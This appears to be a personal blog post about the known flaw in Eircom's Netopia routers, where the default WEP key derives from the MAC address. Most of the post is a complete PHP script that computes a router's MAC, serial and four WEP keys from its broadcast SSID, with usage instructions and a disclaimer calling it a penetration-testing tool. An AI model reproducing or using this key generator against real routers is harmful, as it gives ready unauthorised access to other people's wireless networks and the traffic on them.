A few years back there was a serious security mishap when a smart chap by the name of Kevin Devine reverse engineered a tool that was used to reset the Netopia brand of routers used by Eircom in Ireland to the factory default settings. This application conveniently showed how the WEP key was essentially generated from the MAC address.
When the details of this algorithm was released, I set forward and wrote a small PHP script that could ascertain the WEP key from the SSID of the network… after accomplishing this task I promptly set about forgetting it and moving on to other things that were equally forgettable… I’ve recently rediscovered the code I wrote and here it is…
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 | <?php /* EIRWEP.INC.PHP BACKGROUND: EIRWEP.INC.PHP WAS WRITTEN BY STEVEN MOUGHAN FOR THE PHISHBONE.ORG GROUP ON 25TH & 26TH OF JUNE 08. IT IS BASED ON DETAILS OF THE HASHING ALGORYTHM THAT WERE PUBLISHED BY KEVIN DEVINE. THE ORIGINAL DETAILS AND SOURCE CODE OF THE EXPLOIT WERE AVAILABLE AT THE TIME OF WRITING FROM HTTP://WEISS.U40.HOSTING.DIGIWEB.IE/NETOPIA/KEYGEN.HTML STEVEN MOUGHAN OR HACKDEV.COM CLAIM NO CREDIT FOR THE DISCOVERY OF THIS EXPLOIT, ONLY FOR THIS FILE. DISCLAIMER: THE AUTHOR, HOST OR DISTRIBUTER OF THIS TOOL WILL ACCEPT NO RESPONSIBILITY FOR MISS USE. THIS SOFTWARE IS DESTRIBUTED AS A PENETRATION TESTING TOOL ONLY. IT IS NOT INTENDED FOR USE IN ORDER TO GAIN UNAUTHORISED ACCESS INTO ANY NETWORK. USAGE: INCLUDE EIRWEP.INC.PHP INTO ANY OTHER PHP SCRIPT AND CALL THE FUNCTION getKey() WITH THE SSID ARGUMENT. THE SSID SHOULD CONTAIN ONLY 8 DIGITS, NO LETTERS, NO SYMBOLS. THE getKey FUNCTION WILL RETURN AN ARRAY. THE ARRAY HAS THE FOLLOWING ENTRIES. ARRAY['mac'] -> THE MAC ADDRESS OF THE ROUTER ARRAY['ser'] -> THE SERIAL OF THE ROUTER ARRAY['key'][0-3] -> WEP KEYS 1->4 EXAMPLE: <?php require('./eirwep.inc.php'); print_r getKey(12345678); ?> */ if(!function_exists('str_split')) { function str_split($string, $split_length = 1) { $array = explode("\r\n", chunk_split($string, $split_length)); array_pop($array); return $array; } } function getKey($ssid) { $digits = array("Zero","One","Two","Three","Four","Five","Six","Seven","Eight","Nine"); $lyrics[0] = "Although your world wonders me, "; $lyrics[1] = "with your superior cackling hen,"; $lyrics[2] = "Your people I do not understand,"; $lyrics[3] = "So to you I shall put an end and"; $lyrics[4] = "You'll never hear surf music aga"; $lyrics[5] = "Strange beautiful grassy green, "; $lyrics[6] = "With your majestic silver seas, "; $lyrics[7] = "Your mysterious mountains I wish"; $ssid = octdec($ssid); $retvar = ''; $mac = $ssid ^ 4044; $tmp = '000fcc' . dechex($mac); $tmpa = str_split($tmp,2); $tmp = "$tmpa[0]:$tmpa[1]:$tmpa[2]:$tmpa[3]:$tmpa[4]:$tmpa[5]"; $tmp = strtoupper($tmp); $retvar['mac'] = $tmp; $serial = $mac + 16777216; $retvar['ser'] = $serial; $chars =str_split($serial); for($i=0; $i<8;$i++) { $text .= $digits[$chars[$i]]; }//end for for($i=0;$i<=7;$i++) { $appended[$i] = $text . $lyrics[$i]; $cipher .= sha1($appended[$i]); }//end for $tmp = str_split($cipher, 26); for($i=0; $i<4; $i++) { $retvar['key'][$i] = strtoupper($tmp[$i]); } return $retvar; }//end function getKey ?> |